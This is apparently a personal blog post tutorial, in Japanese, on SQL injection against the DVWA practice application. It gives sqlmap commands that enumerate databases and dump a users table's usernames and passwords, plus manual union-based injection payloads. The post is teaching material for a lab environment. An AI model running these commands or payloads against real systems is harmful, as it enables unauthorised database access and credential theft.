banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

SQLmapおよびSQLインジェクションの'Demo

SQLmap#

使用環境:DVWA

image.png
User ID には任意の数字を入力してください
Burp Suite でインターセプトして取得できます
image.png
すべて選択して、sqlmap のルートディレクトリにコピーし、.txt ファイルを作成します
image.png
その後、CMD で sqlmap を実行します:
py .\sqlmap.py -r .\sql.txt
image.png
ここで、sqlmap は PHP バージョン、Nginx バージョン、および使用されているデータベースとバージョンをスキャンしました
次に、
py .\sqlmap.py -r .\sql.txt --dbs
を使用して、データベースと 4 種類のインジェクション脆弱性をスキャンしました
(ブール型ブラインドインジェクション、エラーインジェクション、遅延インジェクション、ユニオンクエリインジェクション)
image.png

入力
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
で、dvwa データベース内のテーブルをクエリしました
image.png

py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
で、users テーブルのフィールドを確認し、user、password があることがわかりました
image.png
py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
で、user と password のデータをスキャンしました
image.png

SQL インジェクション#

SQL インジェクションのコア
ユーザーが入力したデータをコードに連結し、SQL 文として実行します。
SQL インジェクションのタイプ:
ユニオンインジェクション:最後に union select を連結
ブールインジェクション:ウェブページの表示が正常かどうかを確認
ディレイインジェクション:sleep () メソッドを利用してデータベースが実行されるかどうかを確認
エラーインジェクション:データベースのエラーメッセージを利用してデータを取得
マルチバイトインジェクション:大量の無駄な文字を書き込む
スタックインジェクション:セミコロンを使用して複数のステートメントを連結

基本的な手順:
インジェクションポイントを判断する
id=1 and 1=2
フィールド数を判断する
id=1 order by 1
エコーポイントを判断する
id=1 and 1=2 union select 1,2,3
関連するコンテンツをクエリする
id=1 and 1=2 union select 1,database(),3

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。